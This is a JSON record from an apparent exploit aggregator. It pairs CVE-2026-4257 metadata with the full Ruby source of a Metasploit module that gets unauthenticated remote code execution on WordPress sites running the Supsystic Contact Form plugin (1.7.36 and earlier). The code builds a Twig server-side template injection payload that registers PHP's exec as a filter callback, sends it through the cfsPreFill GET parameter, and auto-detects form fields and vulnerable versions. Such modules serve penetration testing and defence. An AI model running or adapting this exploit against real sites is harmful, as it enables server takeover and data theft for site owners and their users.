{"exploit":{"id":"MSF-multi--http--wp_plugin_supsystic_contact_form_rce","name":"Supsystic Contact Form Wordpress Plugin SSTI RCE","description":"This module performs SSTI achieving RCE in webpages containing the Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and before.","cves":["CVE-2026-4257"],"author":"Azril Fathoni, bootstrapbool","published":"2026-03-30","platform":"Linux,Unix,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/wp_plugin_supsystic_contact_form_rce.rb","path":"modules/exploits/multi/http/wp_plugin_supsystic_contact_form_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"wp_plugin_supsystic_contact_form_rce.rb","vulnerabilities":[{"id":"CVE-2026-4257","state":"PUBLISHED","title":"Contact Form by Supsystic <= 1.7.36 - Unauthenticated Server-Side Template Injection via Prefill Functionality","titleSource":"CVE Program","description":"The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig `Twig_Loader_String` template engine without sandboxing, combined with the `cfsPreFill` prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig's `registerUndefinedFilterCallback()` method to register arbitrary PHP callbacks.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-4257","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-4257"},"updatedAt":"2026-04-08T16:48:39.880Z","retrievedAt":"2026-11-25T16:15:50.359Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--wp_plugin_supsystic_contact_form_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--wp_plugin_supsystic_contact_form_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--wp_plugin_supsystic_contact_form_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--wp_plugin_supsystic_contact_form_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',\n        'Description' => %q{\n          This module performs SSTI achieving RCE in webpages containing the\n          Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and\n          before.\n        },\n        'Author' => [\n          'Azril Fathoni', # Vulnerability Disclosure\n          'bootstrapbool <bootstrapbool[at]gmail.com>', # Metasploit Module\n        ],\n        'License' => MSF_LICENSE,\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix/Linux Command Shell',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Windows Command Shell',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD,\n              'Type' => :win_cmd\n            }\n          ]\n        ],\n        'References' => [\n          ['CVE', '2026-4257'],\n          [\n            'URL', # Python Exploit\n            'https://github.com/bootstrapbool/cve-2026-4257'\n          ],\n        ],\n        'DisclosureDate' => '2026-03-30',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => [REPEATABLE_SESSION],\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('FIELD', [\n          false,\n          'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'\n        ]),\n        OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),\n      ]\n    )\n  end\n\n  def vulnerable?(version_str)\n    return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')\n  end\n\n  def get_version(body)\n    version_regex = /suptablesui\\.min\\.css\\?ver=([0-9.]+)/\n    match = version_regex.match(body)\n\n    match ? match[1] : nil\n  end\n\n  def get_fields(html)\n    pattern = /data-name=\"([^\"]+)\"/\n\n    field_names = html.scan(pattern).flatten.uniq\n\n    if field_names.any?\n      print_good(\"Found fields: #{field_names.join(', ')}\")\n      return field_names\n    else\n      print_warning('Failed to find fields.')\n      return nil\n    end\n  end\n\n  def handle_field\n    res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })\n\n    unless res\n      fail_with(Failure::Unreachable, 'Failed to receive a reply from server.')\n    end\n\n    unless res.code == 200\n      fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')\n    end\n\n    fields = get_fields(res.body)\n\n    if !fields.nil?\n      field = fields[0]\n      print_status(\"Using detected field: #{field}\")\n      return field\n    end\n\n    if field.nil\n      fail_with(Failure::NotFound, 'Failed to resolve target field')\n    end\n  end\n\n  def send_payload(payload, field)\n    b64 = Rex::Text.encode_base64(payload.raw)\n\n    payload = '{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}' \\\n      + '{%set p%}' + b64 + '{%endset%}' \\\n      + '{%set p = p|convert_encoding((a), (b))%}' \\\n      + '{%set e%}exec{%endset%}' \\\n      + '{{_self.env.registerUndefinedFilterCallback(e|lower)}}' \\\n      + '{{_self.env.getFilter(p)}}'\n\n    params = { 'cfsPreFill' => 1, field => payload }\n\n    # Fold any query the user baked into TARGETURI (e.g. page_id=2) into vars_get to avoid having two \"?\" characters\n    # denoting two separate query strings in the final URI, as one gets added from the TARGETURI and one from vars_get, which causes the payload to fail\n    if target_uri.query && !target_uri.query.empty?\n      target_uri.query.split('&').each do |pair|\n        k, v = pair.split('=', 2)\n        params[k] = v\n      end\n    end\n\n    send_request_cgi({\n      'uri' => normalize_uri(target_uri.path),\n      'vars_get' => params\n    })\n  end\n\n  def exploit\n    if datastore['FIELD'].nil?\n      field = handle_field\n    else\n      field = datastore['FIELD']\n    end\n\n    send_payload(payload, field)\n  end\n\n  def check\n    res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })\n\n    return CheckCode::Unknown('Target responded with a non-200 status code') unless res.code == 200\n\n    version_str = get_version(res.body)\n\n    if version_str.nil?\n      vprint_status('Failed to derive version')\n      fields = get_fields(res.body)\n      return CheckCode::Detected('Contact Form by Supsystic plugin detected but version could not be determined') unless fields.nil?\n    end\n\n    if vulnerable?(version_str)\n      return CheckCode::Appears(\"Detected version #{version_str}\")\n    end\n\n    return CheckCode::Safe(\"Detected version #{version_str}\")\n  end\nend\n","sha256":"7701de43ae33635b41007d73f6dfc37339acb7f93580cf3faee0f934e42bfcf4","bytes":5154,"fetchedAt":"2026-11-26T08:56:37.664Z","encoding":"utf-8 (display only; download retains original bytes)"}